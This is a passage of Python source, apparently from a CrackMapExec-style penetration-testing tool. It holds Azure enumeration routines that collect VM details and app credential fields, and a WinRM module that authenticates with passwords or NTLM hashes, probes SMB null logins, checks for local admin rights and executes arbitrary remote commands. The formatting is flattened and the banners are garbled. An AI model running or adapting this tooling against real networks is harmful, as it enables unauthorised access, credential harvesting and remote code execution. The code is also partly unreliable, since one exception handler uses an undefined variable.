subprocess.run([ 'az', 'vm', 'list', '-g', self.args.vm_list, '--query', '[].{name:name,os:storageProfile.osDisk.osType, username:osProfile.adminUsername, vm_size:hardwareProfile.vmSize, resource_group: resourceGroup}' ], stdout=subprocess.PIPE) try: vm_list_json = json.loads(vm_list.stdout.decode('utf-8')) except: self.logger.error("Current user has no VM subscriptions") return vm_iplist = subprocess.run([ 'az', 'vm', 'list-ip-addresses', '-g', self.args.vm_list, '--query', '[].{name:virtualMachine.name, privateIp:virtualMachine.network.privateIpAddresses, publicIp:virtualMachine.network.publicIpAddresses[].ipAddress}' ], stdout=subprocess.PIPE) try: vm_iplist_json = json.loads(vm_iplist.stdout.decode('utf-8')) except: self.logger.error("Current user has no VM subscriptions") return for i in range(len(vm_list_json)): vm_list_json[i].update(vm_iplist_json[i]) pprint.pprint(vm_list_json) def vmss_list(self): # Get list of vmss vmss_list = subprocess.run([ 'az', 'vmss', 'list', '--query', '[].{name:name, rgrp:resourceGroup}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: vmss_list_json = json.loads(vmss_list.stdout.decode('utf-8')) except: self.logger.error("Current user has no VM subscriptions") return for i in range(len(vmss_list_json)): # Get vmss info vmss_list = subprocess.run([ 'az', 'vmss', 'list', '--resource-group', vmss_list_json[i]['rgrp'], '--query', '[].{name:name, vmss_size:sku.name, os_distro:virtualMachineProfile.storageProfile.imageReference.offer,os_version:virtualMachineProfile.storageProfile.imageReference.sku, username:virtualMachineProfile.osProfile.adminUsername, rgrp: resourceGroup}' ], stdout=subprocess.PIPE) vmss_list_json = json.loads(vmss_list.stdout.decode('utf-8')) pprint.pprint(vmss_list_json[i]) # Get vmss IP vmss_iplist = subprocess.run([ 'az', 'vmss', 'list-instance-public-ips', '--resource-group', vmss_list_json[i]['rgrp'], '--name', vmss_list_json[i]['name'], '--query', '[].{ipAddress:ipAddress}' ], stdout=subprocess.PIPE) vmss_iplist_json = json.loads(vmss_iplist.stdout.decode('utf-8')) pprint.pprint(vmss_iplist_json) ############################################################################### ##### ###### # # # # # # ## # # # # # # # ##### ###### # # # # # # # # # # # # ## ##### # # # ############################################################################### ############################################################################### # # # # ############################################################################### def spn_list(self): stg_list = subprocess.run([ 'az', 'ad', 'sp', 'list', '--all', '--query', '[].{appDisplayName:appDisplayName, appId:appId}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: stg_list_json = json.loads(stg_list.stdout.decode('utf-8')) except: self.logger.error("Current user has no VM subscriptions") return pprint.pprint(stg_list_json) ############################################################################### # ###### ###### # # # # # # # # # # # # # # ###### ###### ####### # # # # # # # # # # ############################################################################### ############################################################################### # # # # ############################################################################### def app_list(self): #app_list = subprocess.run(['az','ad', 'app', 'list', '--all', '--query', '[].{DisplayName:displayName, appId:appId, homepage:homepage}'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) app_list = subprocess.run(['az', 'ad', 'app', 'list', '--all'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: app_list_json = json.loads(app_list.stdout.decode('utf-8')) except: self.logger.error("Current user has no VM subscriptions") return for app in app_list_json: self.db.add_app(str(app['displayName']), str(app['appId']), str(app['homepage']), str(app['objectId']), str(app['allowGuestsSignIn']), str(app['keyCredentials']), str(app['passwordCredentials']), str(app['wwwHomepage'])) pprint.pprint(app_list_json)
class winrm(connection): def __init__(self, args, db, host): self.domain = None self.port = ' ' self.server_os = None self.os_arch = 0 self.hash = None self.lmhash = '' self.nthash = '' self.remote_ops = None self.bootkey = None self.output_filename = None self.smbv = None self.signing = False self.smb_share_name = smb_share_name self.debug = args.debug self.dc_ip = args.domaincontroller self.domain_dns = None connection.__init__(self, args, db, host) @staticmethod def proto_args(parser, std_parser, module_parser): winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser]) winrm_parser.add_argument( "-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') winrm_parser.add_argument("-smbport", "--smbport", type=int, choices={445, 139}, default=445, help="SMB port (default: 445)") winrm_parser.add_argument("-dc", '--domaincontroller', type=str, default='', help='the IP of a domain controller') auth_group = winrm_parser.add_mutually_exclusive_group() auth_group.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") auth_group.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') command_group = winrm_parser.add_argument_group( "Command Execution", "Options for executing commands") command_group.add_argument('--no-output', action='store_true', help='do not retrieve command output') command_group.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") command_group.add_argument( "-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command') return parser def proto_logger(self): self.logger = CMXLogAdapter( extra={ 'protocol': 'WinRM', 'host': ('->' + self.host), 'port': self.port, 'hostname': self.hostname }) #self.options.logger = self.logger def enum_host_info(self): """Fingerprint host via smb connection. Grabs info prior to unauthenticated """ # self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] try: self.smbconn.login('', '') logging.debug("Null login?") self.logger.success('Null login allowed') except impacket.smbconnection.SessionError as e: if "STATUS_ACCESS_DENIED" in str(e): logging.debug("Null login not allowed") pass self.domain = self.smbconn.getServerDomain() # OCEAN self.hostname = self.smbconn.getServerName() # WIN7-PC self.server_os = self.smbconn.getServerOS() # WIndows 6.1 Build 7601 self.signing = self.smbconn.isSigningRequired() # True/false self.os_arch = self.get_os_arch() # 64 self.domain_dns = self.smbconn.getServerDNSDomainName() # ocean.depth self.logger.hostname = self.hostname dialect = self.smbconn.getDialect() # print (self.conn.getServerDomain()) # OCEAN # print (self.conn.getServerName()) # WIN7-PC # print (self.conn.getServerOS()) # WIndows 6.1 Build 7601 # print (self.conn.isSigningRequired()) # True # print (self.get_os_arch()) # 64 # print (self.conn.getDialect()) # 528 # print (self.conn.getRemoteHost()) # IPaddress # print (self.conn.getRemoteName()) # win7-pc # print (self.conn.getServerDNSDomainName()) # ocean.depth # print (self.conn.getServerOSMajor()) # 6 # print (self.conn.getServerOSMinor()) # 1 # print (self.conn.getServerOSBuild()) # 7601 # print (self.conn.doesSupportNTLMv2()) # True # print (self.conn.isLoginRequired()) # True if dialect == impacket.smb.SMB_DIALECT: self.smbv = '1' logging.debug("SMBv1 dialect used") elif dialect == impacket.smb3structs.SMB2_DIALECT_002: self.smbv = '2.0' logging.debug("SMBv2.0 dialect used") elif dialect == impacket.smb3structs.SMB2_DIALECT_21: self.smbv = '2.1' logging.debug("SMBv2.1 dialect used") elif dialect == impacket.smb3structs.SMB2_DIALECT_30: self.smbv = '3.0' logging.debug("SMBv3.0 dialect used") elif dialect == impacket.smb3structs.SMB2_DIALECT_302: self.smbv = '3.0.2' logging.debug("SMBv3.0.2 dialect used") elif dialect == impacket.smb3structs.SMB2_DIALECT_311: self.smbv = '3.1.1' logging.debug("SMBv3.1.1 dialect used") else: self.smbv = '??' logging.debug("SMB version couldnt be determined?") # Get the DC if we arent local-auth and didnt specify if not self.args.local_auth and self.dc_ip == '': self.dc_ip = self.smbconn.getServerDNSDomainName() if self.args.domain: self.domain = self.args.domain if not self.domain: self.domain = self.hostname self.db.add_computer(self.host, self.hostname, self.domain, self.server_os) try: ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection ''' self.smbconn.logoff() except: pass if self.args.local_auth: self.domain = self.hostname self.output_filename = '{}/{}_{}_{}'.format( cfg.LOGS_PATH, self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")) #Re-connect since we logged off self.create_conn_obj() def print_host_info(self): """Format help for host info.""" self.logger.announce("{}{} (domain:{}) (signing:{}) (SMBv:{})".format( self.server_os, ' x{}'.format(self.os_arch) if self.os_arch else '', self.domain, self.signing, self.smbv)) self.logger.announce('Targetting: {}'.format(self.endpoint)) def create_smbv1_conn(self): """Setup connection using smbv1.""" try: logging.debug('Attempting SMBv1 connection to {}'.format( self.host)) self.smbconn = impacket.smbconnection.SMBConnection( self.host, self.host, None, self.args.smbport ) #, preferredDialect=impacket.smb.SMB_DIALECT) except socket.error as e: if str(e).find('Connection reset by peer') != -1: logging.debug( 'Connection was reset by target. SMBv1 might be disabled on {}' .format(self.host)) elif str(e).find('No route to host') != -1: logging.debug( 'Could not connect to {}, no route to host. Can you ping it?' .format(self.host)) else: logging.debug( 'Something went wrong, Could not connect to {}, tried smbv1' .format(self.host)) return False except Exception as e: logging.debug('Error creating SMBv1 connection to {}: {}'.format( self.host, e)) return False logging.debug('Connected using SMBv1 to: {}'.format(self.host)) return True def create_smbv3_conn(self): """Setup connection using smbv3. Used for both SMBv2 and SMBv3 """ try: logging.debug('Attempting SMBv3 connection to {}'.format( self.host)) self.smbconn = impacket.smbconnection.SMBConnection( self.host, self.host, None, self.args.smbport) except socket.error as e: if str(e).find('No route to host') != -1: logging.debug('No route to host {}'.format(self.host)) self.logger.announce( 'Could not connect to {}, no route to host. Can you ping it?' .format(self.host)) else: logging.debug( 'Something went wrong, Could not connect to {}, tried smbv3' .format(self.host)) return False except Exception as e: logging.debug('Error creating SMBv3 connection to {}: {}'.format( self.host, e)) return False logging.debug('Connected using SMBv3 to: {}'.format(self.host)) return True def create_conn_obj(self): #first figure out winrm endpoint -- could mabye just make them choose with/without SSL endpoints = [ 'https://{}:5986/wsman'.format(self.host), 'http://{}:5985/wsman'.format(self.host) ] for url in endpoints: try: requests.get(url, verify=False, timeout=10) self.endpoint = url if self.endpoint.startswith('https://'): self.port = 5986 else: self.port = 5985 self.logger.extra['port'] = self.port except Exception as e: if 'Max retries exceeded with url' not in str(e): logging.debug('Error in WinRM create_conn_obj:' + str(e)) #then we build an smb connection to grab some hostinfo - # - could maybe not do this and use output from winrm connection to get some info? if self.create_smbv1_conn(): return True elif self.create_smbv3_conn(): return True return False ############################################################################### # ####### ##### ### # # # # # # # # ## # # # # # # # # # # # # # #### # # # # # # # # # # # # # # # # # # # # ## ####### ####### ##### ### # # ############################################################################### def plaintext_login(self, domain, username, password): try: # pywinrm session class defined here : # https://github.com/diyan/pywinrm/blob/master/winrm/__init__.py self.conn = pywinrm.Session(self.host, auth=('{}\\{}'.format( domain, username), password), transport='ntlm', server_cert_validation='ignore') # session = winrm.Session(host, auth=('{}@{}'.format(user,domain), password), transport='ntlm') # need to remove smb connection stuff and only use winrm self.smbconn.login(username, password, domain) self.password = password self.username = username self.domain = domain # using smb method until the warnings get fixed for urllib, just to cut down on warnings from execute self.admin_privs = self.check_if_admin() #r = self.conn.run_cmd('hostname') # self.parse_output(r) self.admin_privs = True self.logger.success('{}\\{}:{} {}'.format( domain, username, password, highlight('({})'.format(cfg.pwn3d_label) if self. admin_privs else ''))) return True except Exception as e: self.logger.error('{}\\{}:{} "{}"'.format(domain, username, password, e)) return False ############################################################################### ####### # # ####### ##### # # ####### ####### # # # # # # # # # # # # # # # # # # # ##### # ##### # # # # ##### # # # # # # # # # # # # # # # # # # # ####### # # ####### ##### ##### # ####### ############################################################################### def execute(self, payload=None, get_output=False): # run_cmd returns a Response() object # Response() object defined here: https://github.com/diyan/pywinrm/blob/master/winrm/__init__.py r = self.conn.run_cmd(self.args.execute) self.logger.success('Executed command') # result = session.run_cmd('ipconfig', ['/all']) # To run command in cmd # result = session.run_ps('Get-Acl') # To run Powershell block self.parse_output(r) def ps_execute(self, payload=None, get_output=False): r = self.conn.run_ps(self.args.ps_execute) self.logger.success('Executed command') self.parse_output(r) #################################################################################### # # ####### # ###### ####### ###### ##### # # # # # # # # # # # # # # # # # # # # # ####### ##### # ###### ##### ###### ##### # # # # # # # # # # # # # # # # # # # # # ####### ####### # ####### # # ##### #################################################################################### def parse_output(self, response_obj): if response_obj.status_code == 0: buf = StringIO(str(response_obj.std_out, 'UTF-8')).readlines() for line in buf: self.logger.highlight(line) return response_obj.std_out else: buf = StringIO(str(response_obj.std_err, 'UTF-8')).readlines() for line in buf: self.logger.highlight(line) return response_obj.std_err def check_if_admin(self): """Check for localadmin privs. Checked by view all services for sc_manager_all_access Returns: True if localadmin False if not localadmin """ try: rpctransport = impacket.dcerpc.v5.transport.SMBTransport( self.host, 445, r'\svcctl', smb_connection=self.smbconn) dce = rpctransport.get_dce_rpc() dce.connect() try: logging.debug('localadmin Binding start') dce.bind(impacket.dcerpc.v5.scmr.MSRPC_UUID_SCMR) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # this val comes from https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights # https://github.com/SecureAuthCorp/impacket/blob/master/impacket/dcerpc/v5/scmr.py logging.debug('Verify localadmin via ServicesActive...') ans = impacket.dcerpc.v5.scmr.hROpenSCManagerW( dce, '{}\x00'.format(self.hostname), 'ServicesActive\x00', 0xF003F) logging.debug('pewpewpewPwned baby') dce.disconnect() return True except impacket.dcerpc.v5.rpcrt.DCERPCException: logging.debug('a {}'.format(str(e))) dce.disconnect() pass except impacket.dcerpc.v5.rpcrt.DCERPCException as e: logging.debug('b {}'.format(str(e))) dce.disconnect() return False except Exception: logging.debug('Something went wrong ... Not localadmin :( ') dce.disconnect() return False dce.disconnect() return False def get_os_arch(self): """Identify OS architecture. Returns either 32 or 64 """ try: stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host) rpctransport = impacket.dcerpc.v5.transport.DCERPCTransportFactory( stringBinding) rpctransport.set_connect_timeout(5) dce = rpctransport.get_dce_rpc() dce.connect() try: dce.bind( impacket.dcerpc.v5.epm.MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) except impacket.dcerpc.v5.rpcrt.DCERPCException as e: if str(e).find('syntaxes_not_supported') >= 0: dce.disconnect() return 32 else: dce.disconnect() return 64 except Exception as e: logging.debug( 'Error retrieving os arch of {}: {} using x64'.format( self.host, str(e))) try: dce.disconnect() except impacket.dcerpc.v5.rpcrt.DCERPCException as e: pass return 64